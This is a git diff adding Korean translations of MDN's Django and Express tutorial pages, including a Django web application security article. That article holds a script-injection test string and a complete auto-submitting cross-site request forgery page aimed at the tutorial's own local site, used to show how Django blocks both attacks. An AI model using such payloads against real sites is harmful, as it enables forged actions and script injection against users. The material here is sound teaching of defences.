Writing test code is neither fun nor glamorous, and is consequently often left to last (or not at all) when creating a website. It is however an essential part of making sure that your code is safe to release after making changes, and cost-effective to maintain.

+ +

In this tutorial we've shown you how to write and run tests for your models, forms, and views. Most importantly we've provided a brief summary of what you should test, which is often the hardest thing to work out when you're getting started. There is a lot more to know, but even with what you've learned already you should be able to create effective unit tests for your websites.

+ +

The next and final tutorial shows how you can deploy your wonderful (and fully tested!) Django website.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}

+ +

In this module

+ + diff --git a/files/ko/learn/server-side/django/tutorial_local_library_website/index.html b/files/ko/learn/server-side/django/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..6cad27324e --- /dev/null +++ b/files/ko/learn/server-side/django/tutorial_local_library_website/index.html @@ -0,0 +1,92 @@ +--- +title: 'Django 튜토리얼: 지역 도서관 웹사이트' +slug: Learn/Server-side/Django/Tutorial_local_library_website +translation_of: Learn/Server-side/Django/Tutorial_local_library_website +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}
+ +

이번은 실전 튜토리얼 시리즈의 첫번째 파트로서 당신이 배울 내용을 설명하고, 이어지는 튜토리얼 시리즈에서 개발하고 개선시켜볼  "지역 도서관" 예제 웹사이트에 대한 개요를 제공한다.

+ + + + + + + + + + + + +
사전학습:Django 소개 파트를 읽으세요. 이어지는 파트를 위해서는 Django개발 환경 설치하기 파트도 필요합니다.
학습목표:이 튜토리얼에서 사용될 예제 어플리케이션을 소개하고, 여기서 논의될 토픽들의 범위에 대해 이해하기
+ +

개요

+ +

MDN "로컬 라이브러리" 장고 튜토리얼에서 오신 것을 환영합니다. 여기에서는 , "로컬 라이브러리" 카탈로그를 운영하는데 사용될 수 있는 웹사이트를 개발할 것이다. 

+ +

이 튜토리얼 시리즈는 아래 내용을 다룬다:

+ + + +

여러분은 이 토픽들 중 일부는 이미 배웠고, 나머지는 가볍게 경험했다. 이 튜토리얼 시리즈를 완료하면, 여러분은 간단한 장고 앱을 혼자서 충분히 개발할 수 있다. 

+ +

LocalLibrary 웹사이트

+ +

LocalLibrary는 이 튜토리얼 시리즈에서 우리가 만들고 개선시켜나갈 웹사이트의 이름이다.  이름에서 예상되듯이, 이용자들이 대여 가능한 책을 찾아보고 사용자 계정을 관리할 수 있는, 작은 지역 도서관을 위한 온라인 도서목록을 제공하는 것이 목적이다.

+ +

이 예제는, 우리가 필요에 따라 크게 혹은 작게 확장할 수 있고, 대부분은 장고의 특성을 보여줄 수 있도록 아주 신중하게 선택된 예제이다. 더욱 중요한 것은 이 예제는 장고 웹 프레임워크의 가장 중요한 기능들을 경험해 보도록 안내된 경로를 제공한다:

+ + + +

이것은 매우 확장성있는 예제이지만, 다음과 같은 이유로 LocalLibrary(Local에 강조)로 이름을 지었다. 그 이유는, 당신이 장고 개발을 빠르게 착수할 수 있도록, 필요한 최소한의 정보만 보여주고자 의도한 것이다. 결과적으로 책, 책의 판본, 저자및 다른 Key 정보를 저장할 것이다. 하지만 그외의 일반적인 도서관이 추가로 저장할만한 정보는 저장하지 않을 것이며, 여러개의 도서관 사이트를 지원하거나, "커다란 도서관"을 위한 기능은 제공하지 않을것이다.

+ +

개발중에 막혔어요, 소스코드는 어딨죠?

+ +

튜토리얼을 진행하면서, 각 포인트마다 복사해서 붙여넣기할 수 있는 적절한 토막 코드가 제공될 것이다. 또한 당신이 스스로 (약간의 안내문과 함께) 도전해볼 수 있는 부분도 있을 것이다.

+ +

개발중에 진행이 어렵다면, 여기 Github에 완전히 개발된 버전의 웹사이트 소스코드를 참고할 수도 있다.

+ +

요약

+ +

LocalLibrary 웹사이트와 당신이 앞으로 배울 내용에 대해 좀 더 알게되었다. 이제 우리 예제를 담을 뼈대 프로젝트(skeleton project)를 생성해볼 차례이다.

+ +

{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/server-side/django/web_application_security/index.html b/files/ko/learn/server-side/django/web_application_security/index.html new file mode 100644 index 0000000000..849f5bff3d --- /dev/null +++ b/files/ko/learn/server-side/django/web_application_security/index.html @@ -0,0 +1,176 @@ +--- +title: Django web application security +slug: Learn/Server-side/Django/web_application_security +translation_of: Learn/Server-side/Django/web_application_security +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}
+ +

사용자의 데이터를 보호하는 것은 모든 웹사이트 개발에서 중요한 부분입니다. 우리는 이전의 강의 Web security 에서 자주 나타나는 보안 위협에 대해 알아봤습니다. — 이번 강의에서는 장고의 내장 보안 기능이 이런 위험에 어떻게 대처하는지 실제 예시들을 통해 살펴보겠습니다. 

+ + + + + + + + + + + + +
이 문서를 보기 전에: 서버사이드 개발에 대한 "Website security" 부분을 읽고 오세요. MDN 장고 튜토리얼에서 적어도 Django Tutorial Part 9: Working with forms 까지는 모두 알고있어야 합니다. 
목적: 장고 웹사이트의 보안을 위해 해야 하는 (하지 말아야 하는) 것들에 대해 이해해 봅시다. 
+ +

개요

+ +

Website security 문서는 서버사이드 설계에서 웹사이트 보안이란 무엇을 이야기하는건지, 또한 개발자가 막아내야 하는 몇가지 대표적인 위협에 대해 소개합니다. 이 문서에서 중요한 내용중의 하나는 바로 웹 애플리케이션이 브라우저에서 전송된 데이터를 신뢰하는 경우에는 거의 모든 종류의 공격이 가능하다는 것입니다. 

+ +
+

Important: 웹사이트 보안에 대해 당신이 배울 수 있는 가장 중요한 점 한가지는 브라우저의 데이터를 절대로 믿지 말라는 것 입니다. 이건 URL 파라미터의 GET request 데이터, POST 데이터, HTTP 헤더와 쿠키, 사용자가 업로드한 파일들...기타등등을 포함합니다. 언제나 전송받는 모든 데이터를 의심하고 체크하십시오. 언제나 최악을 가정하십시오.

+
+ +

Django 사용자들에게 좋은 소식은 대부분의 일반적인 위협들은 프레임워크에 의해 차단된다는 것입니다! Security in Django 문서는 Django의 보안 개요와 Django 기반의 웹사이트를 어떻게 지킬 수 있는지에 대해 설명하고 있습니다.

+ +

Common threats/protections

+ +

Django 문서를 여기로 복사해오기보다, 이 문서에서 우리는 Django LocalLibrary 튜토리얼에 있는 Django의 몇가지 보안 형태를 묘사해보도록 하겠습니다.

+ +

Cross site scripting (XSS)

+ +

XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts through the website into the browsers of other users. This is usually achieved by storing malicious scripts in the database where they can be retrieved and displayed to other users, or by getting users to click a link that will cause the attacker’s JavaScript to be executed by the user’s browser.

+ +

Django's template system protects you against the majority of XSS attacks by escaping specific characters that are "dangerous" in HTML. We can demonstrate this by attempting to inject some JavaScript into our LocalLibrary website using the Create-author form we set up in Django Tutorial Part 9: Working with forms.

+ +
    +
  1. Start the website using the development server (python3 manage.py runserver).
  2. +
  3. Open the site in your local browser and login to your superuser account.
  4. +
  5. Navigate to the author-creation page (which should be at URL: http://127.0.0.1:8000/catalog/author/create/).
  6. +
  7. Enter names and date details for a new user, and then append the following text to the Last Name field:
    + <script>alert('Test alert');</script>.
    + Author Form XSS test +
    +

    Note: This is a harmless script that, if executed, will display an alert box in your browser. If the alert is displayed when you submit the record then the site is vulnerable to XSS threats.

    +
    +
  8. +
  9. Press Submit to save the record.
  10. +
  11. When you save the author it will be displayed as shown below. Because of the XSS protections the alert() should not be run. Instead the script is displayed as plain text.Author detail view XSS test
  12. +
+ +

If you view the page HTML source code, you can see that the dangerous characters for the script tags have been turned into their harmless escape code equivalents (e.g. > is now &gt;)

+ +
<h1>Author: Boon&lt;script&gt;alert(&#39;Test alert&#39;);&lt;/script&gt;, David (Boonie) </h1>
+
+ +

Using Django templates protects you against the majority of XSS attacks. However it is possible to turn off this protection, and the protection isn't automatically applied to all tags that wouldn't normally be populated by user input (for example, the help_text in a form field is usually not user-supplied, so Django doesn't escape those values).

+ +

It is also possible for XSS attacks to originate from other untrusted source of data, such as cookies, Web services or uploaded files (whenever the data is not sufficiently sanitized before including in a page). If you're displaying data from these sources, then you may need to add your own sanitisation code.

+ +

Cross site request forgery (CSRF) protection

+ +

CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent. For example consider the case where we have a hacker who wants to create additional authors for our LocalLibrary.

+ +
+

Note: Obviously our hacker isn't in this for the money! A more ambitious hacker could use the same approach on other sites to perform much more harmful tasks (e.g. transfer money to their own accounts, etc.)

+
+ +

In order to do this, they might create an HTML file like the one below, which contains an author-creation form (like the one we used in the previous section) that is submitted as soon as the file is loaded. They would then send the file to all the Librarians and suggest that they open the file (it contains some harmless information, honest!). If the file is opened by any logged in librarian, then the form would be submitted with their credentials and a new author would be created.

+ +
<html>
+<body onload='document.EvilForm.submit()'>
+
+<form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'>
+  <table>
+    <tr><th><label for="id_first_name">First name:</label></th><td><input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /></td></tr>
+    <tr><th><label for="id_last_name">Last name:</label></th><td><input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /></td></tr>
+    <tr><th><label for="id_date_of_birth">Date of birth:</label></th><td><input id="id_date_of_birth" name="date_of_birth" type="text" /></td></tr>
+    <tr><th><label for="id_date_of_death">Died:</label></th><td><input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /></td></tr>
+  </table>
+  <input type="submit" value="Submit" />
+</form>
+
+</body>
+</html>
+
+ +

Run the development web server, and log in with your superuser account. Copy the text above into a file and then open it in the browser. You should get a CSRF error, because Django has protection against this kind of thing!

+ +

The way the protection is enabled is that you include the {% csrf_token %} template tag in your form definition. This token is then rendered in your HTML as shown below, with a value that is specific to the user on the current browser.

+ +
<input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' />
+
+ +

Django generates a user/browser specific key and will reject forms that do not contain the field, or that contain an incorrect field value for the user/browser.

+ +

To use this type of attack the hacker now has to discover and include the CSRF key for the specific target user. They also can't use the "scattergun" approach of sending a malicious file to all librarians and hoping that one of them will open it, since the CSRF key is browser specific.

+ +

Django's CSRF protection is turned on by default. You should always use the {% csrf_token %} template tag in your forms and use POST for requests that might change or add data to the database.

+ +

Other protections

+ +

Django also provides other forms of protection (most of which would be hard or not particularly useful to demonstrate):

+ +
+
SQL injection protection
+
SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. In almost every case you'll be accessing the database using Django’s querysets/models, so the resulting SQL will be properly escaped by the underlying database driver. If you do need to write raw queries or custom SQL then you'll need to explicitly think about preventing SQL injection.
+
Clickjacking protection
+
In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials in an invisible <iframe> controlled by the attacker. Django contains clickjacking protection in the form of the X-Frame-Options middleware which, in a supporting browser, can prevent a site from being rendered inside a frame.
+
Enforcing SSL/HTTPS
+
SSL/HTTPS can be enabled on the web server in order to encrypt all traffic between the site and browser, including authentication credentials that would otherwise be sent in plain text (enabling HTTPS is highly recommended). If HTTPS is enabled then Django provides a number of other protections you can use:
+
+ + + +
+
Host header validation
+
Use ALLOWED_HOSTS to only accept requests from trusted hosts.
+
+ +

There are many other protections, and caveats to the usage of the above mechanisms. While we hope that this has given you an overview of what Django offers, you should still read the Django security documentation.

+ + + +

Summary

+ +

Django has effective protections against a number of common threats, including XSS and CSRF attacks. In this article we've demonstrated how those particular threats are handled by Django in our LocalLibrary website. We've also provided a brief overview of some of the other protections.

+ +

This has been a very brief foray into web security. We strongly recommend that you read Security in Django to gain a deeper understanding.

+ +

The next and final step in this module about Django is to complete the assessment task.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}

+ +

In this module

+ + diff --git a/files/ko/learn/server-side/express_nodejs/index.html b/files/ko/learn/server-side/express_nodejs/index.html new file mode 100644 index 0000000000..453d7490f0 --- /dev/null +++ b/files/ko/learn/server-side/express_nodejs/index.html @@ -0,0 +1,63 @@ +--- +title: Express 웹 프레임워크 (Node.js/JavaScript의 활용) +slug: Learn/Server-side/Express_Nodejs +tags: + - Express + - node.js + - 서버 + - 시작 + - 웹프레임워크 + - 자바스크립트 + - 초보개발자 +translation_of: Learn/Server-side/Express_Nodejs +--- +
{{LearnSidebar}}
+ +

Express는 JavaScript로 작성되고 Node.js 런타임 환경에서 구동되는 인기 있는 웹 프레임워크입니다. 이 장에서는 Express 프레임워크의 몇 가지 장점과 개발환경 설치 방법, 웹 개발과 배포작업의 방법을 다룹니다.

+ +

알아야할 것들

+ +

이 장의 내용은 Server-side 웹 프로그래밍과 웹 프레임워크에 대한 이해가 필요합니다. 잘 모르겠다면 Server-side website programming first steps 을 먼저 확인해보세요. 일반적인 프로그래밍 컨셉과 JavaScript 의 지식이 요구되지만, 핵심까지 세세하게 알 필요는 없습니다.

+ +
+

Note: 여기서는 클라이언트 측에서의 자바스크립에 관한 많은 유용한 자료들을 이용할 수 있다.  JavaScriptJavaScript Guide, JavaScript BasicsJavaScript (한 번 배워보자). 자바스크립트의 핵심과 컨셉은 Node.js를 이용한 서버측 개발과 같으므로, 여기의 자료들을 이용하는 게 좋을 것이다. Node.js 는HTTP서버를 구축하고 파일 시스템에 접근하는 등의 브라우저가 필요없는 환경에서에서 유용한 기능을 제공하는 additional APIs를 제공하지만, 브라우저나 DOM에서 작동되는 자바스크립트 API는 지원하지 않는다.

+ +

다음 목차에서는 Node.js와 Express 그리고 인터넷과 책에서의 방대한 좋은 자료들에 있는 정보들을 알려준다. 이들은 How do I get started with Node.js (StackOverflow) 나 What are the best resources for learning Node.js? (Quora)에 참고해보자

+
+ +

목차

+ +
+
Express/Node introduction
+
처음으로 Express에 배우는 이 곳에서는 "Node가 뭐지?", "Express는 뭐지?"의 물음에 답하고, Express 웹 프레임워크의 전반적인 사항에 대해 알아볼 것이다. 주된 내용의 뼈대를 완성하고, Express 어플리케이션을 하나하나씩 배워볼 것이다. (하지만, 이 곳에서는 아직 어디서 테스팅이 이루어질 지 개발 환경등에서는 다루지 않을 것이다.).
+
Setting up a Node (Express) development environment
+
이제 Express가 어디에 이용되는지 알아볼 것이다. Windows, Linux(Ubuntu), Mac OS X에서 Node/Express의 개발환경을 구축하기 위한 방법도 살펴볼 것이다. 운영체제에 관계없이, 여기서는 Express 개발을 시작하기위해서 어떤 것이 필요한지도 알려준다.
+
Express Tutorial: The Local Library website
+
실질적인 튜토리얼에 해당하는 이번 수업에서는 어떤 것을 배우고 차후 수업에 필요한 "로컬 라이브러리"에서의 웹사이트의 전반적인 개요도 알아본다.
+
Express Tutorial Part 2: Creating a skeleton website
+
여기서는 웹사이트의 뼈대를 구성해 나갈 것이다. 웹사이트의 뼈대란 사이트의 사이트맵, 템플릿 및 데이터베이스등을 말하므로 이를 만들어볼 것이다.
+
Express Tutorial Part 3: Using a Database (with Mongoose)
+
여기서는 간단하게나마 Node/Express에 필요한 데이터베이스의 개요에 대해 소개할 것이다. 그리고 로컬의 웹사이트의 DB에 접근하기 위해 Mongoose를 사용하는 법도 알아본다. DB에서의 스키마와 모델이 어떻게 정의되는지, 필드의 타입과 기본적인 유효성에 대해서도 알아본다. 또한, 짧게나마 모델 데이터를 접근하는 주된 방법도 알아본다.
+
Express Tutorial Part 4: Routes and controllers
+
이 수업에서는 LocalLibray 웹사이트에 사용하기 위해 "더미" 핸들러 함수를 통한 라우터(URL 핸들링 코드)에 대해 배운다. 여러분의 라우팅 핸들링 코드를 사용할 수 있는 모듈 구조를 가지고 있으며, 다음 장에서 실제로 핸들러 기능을 확장할 수 있게 된다. 또한, Express에서 사용가능한 모듈 형식의 라우팅에 대해 쉽게 이해할 수 있을 것이다.
+
Express Tutorial Part 5: Displaying library data
+
자, 이제 웹사이트에 책이나 데이터들을 표시할 페이지를 추가할 수 있다. 페이지에는 사이트에 관련된 자세한 부분과 리스트 및 모델 타입들이 얼마나 많이 기록되는지에 관한 홈 페이지가 포함되어 있다. 따라서 우리들은 데이터베이스에서 기록을 얻고 템플릿을 사용하는 데 실질적인 경험을 가질 수 있다.
+
Express Tutorial Part 6: Working with forms
+
이 수업에서는 Pug를 사용해서 어떻게 Express에서 HTML Forms 이 사용되는지 보여주고, 특히 데이터베이스에서 폼을 작성하고 업데이트하고 지우기 위해 사용하는 방법에 대해 배울 것이다.
+
Express Tutorial Part 7: Deploying to production
+
이제 꽤 훌륭한 로컬라이브러리 웹사이트 만들 수 있으며 , 웹 서버에 업로드 함으로서 여러 사람들이 인터넷을 통해 접근할 수 있게 만들 수 있다. 이 수업은 전반적으로 웹 사이트를 배포하기 위해 호스트와 연결하는 등을 배우고, 실제 서비스를 하기위해 준비해야할 것들을 알려 준다.
+
+ +

튜토리얼 추가하기

+ +

자습서의 끝입니다. (지금은 말이죠). 만약 이 자습서의 내용을 보충하고 싶으시다면 아래와 같은 주제를 해 주시면 좋을 것 같네요:

+ + + +

그리고 평가 작업도 있으면 정말 좋을 것 같아요!

diff --git a/files/ko/learn/server-side/express_nodejs/introduction/index.html b/files/ko/learn/server-side/express_nodejs/introduction/index.html new file mode 100644 index 0000000000..caa4eb8eaa --- /dev/null +++ b/files/ko/learn/server-side/express_nodejs/introduction/index.html @@ -0,0 +1,488 @@ +--- +title: Express/Node 소개 +slug: Learn/Server-side/Express_Nodejs/Introduction +translation_of: Learn/Server-side/Express_Nodejs/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}
+ +

첫번째 Express 수업에서는 Node, Express를 알아보고, Express 웹 프레임워크 제작의 전반에 대해 배우게 됩니다.
+ 우선 주요 특징들에 대한 틀을 정리한 후 Express 어플리케이션을 구성하는 주요 구성요소들을 살펴볼 것입니다. (테스트할 개발환경은 아직이겠지만요)

+ + + + + + + + + + + + +
알아야 할 것들기본적인 컴퓨터의 이해. 서버 사이드 웹사이트 프로그래밍(server-side website programming), 그리고 특별히 웹사이트에서 클라이언트와 서버간의 상호작용(client-server interactions in websites)의 메커니즘에 대한 이해
목표Express에 익숙해지고, Node와 어떻게 함께 사용되는지, 기능은 어떠한지, 그리고 Express 어플리케이션의 주요한 구성요소들에 대해 배운다.
+ +

Express와 Node란?

+ +

Node (또는 더 공식적으로는 Node.js) 는 오픈소스, 크로스 플랫폼이며, 개발자가 모든 종류의 서버 사이드 도구들과 어플리케이션을 JavaScript로 만들수 있도록 해주는 런타임 환경이다.런타임은 브라우져 영역 밖에서도 사용할수 있도록 의도했다.(예를들면 서버 OS 또는 컴퓨터에서 직접적으로 실행되는). 이와 같이,  이 환경에서 특정 브라우져에서의 자바스트립트 API들을 제외시키고 ,  HTTP 와 파일 시스템 라이브러리들을 포함하여 더 많은 전형적인 OS API들을 추가했다.

+ +

웹 서버 관점에서 노드는 많은 장점들을 가진다:

+ + + +

Hello Node.js

+ +

아래 코드처럼 Node에 HTTP 모듈을 사용하여 모든 요청에 응답이 가능한 간단한 웹 서버를 쉽게 생성할 수 있습니다.

+ +

이렇게하면 웹 서버가 만들어지고 URL http://127.0.0.1:8000/ 에 있는 모든 종류의 HTTP 요청에 수신하게 됩니다. 요청이 하나 들어왔을 때, "Hello World" 텍스트 응답을 보내도록 하겠습니다.

+ +
    +
  1. 터미널을 연다. (윈도우에서는, 커맨드라인 유틸리티)
    + ※ 윈도우 키 + R => 'CMD'
  2. +
  3. 프로그램을 저장할 폴더를 생성하고(여기서는 test-node), 아래 명령을 입력하여 해당 폴더로 이동한다.
  4. +
+ +
cd test-node
+ +
    +
  1. 즐겨쓰는 텍스트에디터를 열어 아래 코드를 입력한 후, 파일명 hello.js 로 저장한다.
  2. +
+ +
//Load HTTP module
+var http = require("http");
+
+//Create HTTP server and listen on port 8000 for requests
+http.createServer(function (request, response) {
+
+   // Set the response HTTP header with HTTP status and Content type
+   response.writeHead(200, {'Content-Type': 'text/plain'});
+
+   // Send the response body "Hello World"
+   response.end('Hello World\n');
+}).listen(8000);
+
+// Print URL for accessing server
+console.log('Server running at http://127.0.0.1:8000/')
+ +

4. 터미널로 돌아가 아래 명령을 입력한다.

+ +
node hello.js
+ +

이제, 웹브라우저를 열어 다음 주소로 이동한다. http://localhost:8000 곧바로 좌상단에 "Hello World" 문구가 있고, 나머지 영역은 비어있는 웹페이지를 볼 수 있다.

+ +

Node 자체가 다른 일반적인 웹 개발 기능을 지원하지 않습니다. 만약 다른 HTTP 패턴 (예 : GET, POST, DELETE 등)에 대한 특정 처리를 추가하려면 서로 다른 URL 경로("routes")를 사용하여 요청을 개별적으로 처리, 정적 파일을 제공, 템플릿을 사용하여 동적으로 응답을 생성할 수 있으며, 코드를 직접 작성할 필요가가 생기게 됩니다. 또는 기본적인 것들을 직접 구현하는 작업을 피하고 웹 프레임 워크를 사용할 수 있습니다! 

+ +

Express 는 가장 인기있는 Node 웹 프레임 워크 이며, 다른 많은 인기있는 Node web frameworks의 기본 라이브러리 입니다. Express는 다음과 같은 메커니즘을 제공합니다:

+ + + +

Express 자체는 꽤나 최소한의 기능만 탑재하지만 개발자들이 거의 모든 웹 개발의 문제를 다루는 호환성있는 미들웨어 패키지를 만들어왔습니다. 쿠키, 세션, 사용자 로그인, URL 파라미터, POST 데이터, 보안 헤더와 그외 많은 것들에 대한 라이브러리들이 있습니다. 여러분은 Express Middleware에서 Express 팀이 유지보수하는 미들웨어 패키지 리스트를 확인할 수 있습니다. (유명한 서드파티 패키지들을 포함).

+ +
+

Note: This flexibility is a double edged sword. There are middleware packages to address almost any problem or requirement, but working out the right packages to use can sometimes be a challenge. There is also no "right way" to structure an application, and many examples you might find on the Internet are not optimal, or only show a small part of what you need to do in order to develop a web application.

+
+ +

유래

+ +

노드(Node)는 2009년 리눅스 한정으로 배포 되었다. NPM은 2010년에 배포되었고, 네이티브 윈도우즈(Windows)는 2012년부터 지원하기 시작하였다. 현재 배포중인 최신 LTS 버전은 Node v8.9.3이 있고, 가장 최신 버전은 Node 9 이다. 이것은 유구한 역사를 짧게 적어본 것으로 더 알고 싶다면 위키페디아를 참조하면 된다.

+ +

Express는 2010년 11월 처음 배포되었고 현재는 4.16 버전이 되었다. 현재 배포 버전과의 변경사항을 알고 싶다면 changelog 를 확인하면 된다. 그리고 더 자세한 역사와 릴리즈 노트는 GitHub 를 참조하면 된다.

+ +

어떻게 Node/Express가 유명해졌을까?

+ +

유명한 웹 프레임워크 쓴다는 것은 아주 중요합니다. 바로 해당 기술에 대한 지속가능성, 문서화, 추가 라이브러리, 그리고 기술 지원 자원에 대한 지표가 되기 때문입니다. 

+ +

There isn't any readily-available and definitive measurement of the popularity of server-side frameworks (although sites like Hot Frameworks attempt to assess popularity using mechanisms like counting the number of GitHub projects and StackOverflow questions for each platform). A better question is whether Node and Express are "popular enough" to avoid the problems of unpopular platforms. Are they continuing to evolve? Can you get help if you need it? Is there an opportunity for you to get paid work if you learn Express?

+ +

Based on the number of high profile companies that use Express, the number of people contributing to the codebase, and the number of people providing both free and paid for support, then yes, Express is a popular framework!

+ +

Express는 개발이 자유로울까?

+ +

Web frameworks often refer to themselves as "opinionated" or "unopinionated".

+ +

Opinionated frameworks are those with opinions about the "right way" to handle any particular task. They often support rapid development in a particular domain (solving problems of a particular type) because the right way to do anything is usually well-understood and well-documented. However they can be less flexible at solving problems outside their main domain, and tend to offer fewer choices for what components and approaches they can use.

+ +

Unopinionated frameworks, by contrast, have far fewer restrictions on the best way to glue components together to achieve a goal, or even what components should be used. They make it easier for developers to use the most suitable tools to complete a particular task, albeit at the cost that you need to find those components yourself.
+
+ Express is unopinionated. You can insert almost any compatible middleware you like into the request handling chain, in almost any order you like. You can structure the app in one file or multiple files, and using any directory structure. You may sometimes feel that you have too many choices!

+ +

Express의 코드는 어떻게 생겼을까?

+ +

In a traditional data-driven website, a web application waits for HTTP requests from the web browser (or other client). When a request is received the application works out what action is needed based on the URL pattern and possibly associated information contained in POST data or GET data. Depending on what is required it may then read or write information from a database or perform other tasks required to satisify the request. The application will then return a response to the web browser, often dynamically creating an HTML page for the browser to display by inserting the retrieved data into placeholders in an HTML template.

+ +

Express provides methods to specify what function is called for a particular HTTP verb (GET, POST, SET, etc.) and URL pattern ("Route"), and methods to specify what template ("view") engine is used, where template files are located, and what template to use to render a response. You can use Express middleware to add support for cookies, sessions, and users, getting POST/GET parameters, etc. You can use any database mechanism supported by Node (Express does not define any database-related behaviour).

+ +

The following sections explain some of the common things you'll see when working with Express and Node code.

+ +

Helloworld Express

+ +

First lets consider the standard Express Hello World example (we discuss each part of this below, and in the following sections).

+ +
+

Tip: If you have Node and Express already installed (or if you install them as shown in the next article), you can save this code in a file called app.js and run it in a command prompt by calling node app.js.

+
+ +
var express = require('express');
+var app = express();
+
+app.get('/', function (req, res) {
+  res.send('Hello World!');
+});
+
+app.listen(3000, function () {
+  console.log('Example app listening on port 3000!');
+});
+
+ +

The first two lines require() (import) the express module and create an Express application. This object, which is traditionally named app, has methods for routing HTTP requests, configuring middleware, rendering HTML views, registering a template engine, and modifying application settings that control how the application behaves (e.g. the environment mode, whether route definitions are case sensitive, etc.)

+ +

The middle part of the code (the three lines starting with app.get) shows a route definition. The app.get() method specifies a callback function that will be invoked whenever there is an HTTP GET request with a path ('/') relative to the site root. The callback function takes a request and a response object as arguments, and simply calls send() on the response to return the string "Hello World!"

+ +

The final block starts up the server on port '3000' and prints a log comment to the console. With the server running, you could go to localhost:3000 in your browser to see the example response returned.

+ +

모듈의 생성과 불러옴(Importing and creating modules)

+ +

A module is a JavaScript library/file that you can import into other code using Node's require() function. Express itself is a module, as are the middleware and database libraries that we use in our Express applications.

+ +

The code below shows how we import a module by name, using the Express framework as an example. First we invoke the require() function, specifying the name of the module as a string ('express'), and calling the returned object to create an Express application. We can then access the properties and functions of the application object.

+ +
var express = require('express');
+var app = express();
+
+ +

You can also create your own modules that can be imported in the same way.

+ +
+

Tip: You will want to create your own modules, because this allows you to organise your code into managable parts — a monolithic single-file application is hard to understand and maintain. Using modules also helps you manage your namespace, because only the variables you explicitly export are imported when you use a module.

+
+ +

To make objects available outside of a module you just need to assign them to the exports object. For example, the square.js module below is a file that exports area() and perimeter() methods:

+ +
exports.area = function (width) { return width * width; };
+exports.perimeter = function (width) { return 4 * width; };
+
+ +

We can import this module using require(), and then call the exported method(s) as shown:

+ +
var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
+console.log('The area of a square with a width of 4 is ' + square.area(4));
+ +
+

Note: You can also specify an absolute path to the module (or a name, as we did initially).

+
+ +

If you want to export a complete object in one assignment instead of building it one property at a time, assign it to module.exports as shown below (you can also do this to make the root of the exports object a constructor or other function):

+ +
module.exports = {
+  area: function(width) {
+    return width * width;
+  },
+
+  perimeter: function(width) {
+    return 4 * width;
+  }
+};
+
+ +

For a lot more information about modules see Modules (Node API docs).

+ +

비동기식 API의 사용

+ +

JavaScript 코드는 완료까지 시간이 다소 소요될 수 있는 작업에 대해 동기보다 비동기 API를 자주 사용합니다. 동기 API는 다음 작업이 시작하기 전에 각 작업이 완료되어야만 합니다. 예를 들어, 다음의 로그함수들은 동기식이며 텍스트를 순서대로 콘솔에 나타낼 것입니다.(First, Second)

+ +
console.log('First');
+console.log('Second');
+ +

반면 비동기 API는 API가 작업을 시작하고, 즉시 반환(작업이 완료되기 전에)합니다. 작업이 완료되면 API는 추가적인 작업 수행을 위한 일부 매커니즘을 사용합니다. 예를 들어 아래의 코드는  "Second, First"를 출력합니다. 그   이유는 setTimeout() 메서드가 먼저 호출되고 즉시 반환되더라도, 작업이 몇 초 동안 완료되지 않기 때문입니다.

+ +
setTimeout(function() {
+   console.log('First');
+   }, 3000);
+console.log('Second');
+
+ +

Node는 싱글 스레드 이벤트 기반 환경이기 때문에 non-blocking 비동기 API는 브라우저보다 Node에서 훨씬 더 중요합니다.

+ +

'싱글 스레드'는 서버에 모든 요청이 별도의 프로세스로 생성되지 않고 동일한 스레드에서 실행되는 것을 의미합니다. 이 모델은 속도와 서버 리소스 측면에서 아주 효율적이지만, 만약 특정 함수가 완료되는데에 오랜 시간이 걸리는 동기 메서드를 호출하는 함수가 있다면 현재 요청 뿐만 아니라 웹 어플리케이션에서 다른 요청이 처리되는 것도 차단합니다.

+ +

비동기 API가 완료되었음을 어플리케이션에 알리는 방법은 여러가지가 있습니다. 가장 일반적인 방법은 비동기 API를 호출시 작업이 완료되면 다시 호출되는 콜백함수를 이용하는 것이며, 위의 예제에서 사용된 방식입니다.

+ +
+

Tip: 순서대로 수행해야하는 종속적인 비동기 작업들이 있을 경우, 콜백을 사용하는 것은 꽤 복잡할 수 있습니다. 중첩된 여러 단계의 콜백이 생성되기 때문입니다. 이 문제는 흔히 'callback hell'이라고 일컬어집니다. 이 문제는 good coding practices(http://callbackhell.com/ 참고), async와 같은 모듈의 사용, Promises와 같은 ES6 기능을 사용함으로써 개선될 수 있습니다.

+
+ +
+

Note: Node와 Express의 일반적인 규칙은 error-first callbacks을 사용하는 것입니다. 이 규칙에서 콜백 함수의 첫번 째 값은 에러값이고, 다음 인자에는 성공 데이터가 포함됩니다. 이 방법에 대한 좋은 설명은 이 블로그에서 확인할 수 있습니다.:: The Node.js Way - Understanding Error-First Callbacks (fredkschott.com).

+
+ +

라우트 핸들러의 사용

+ +

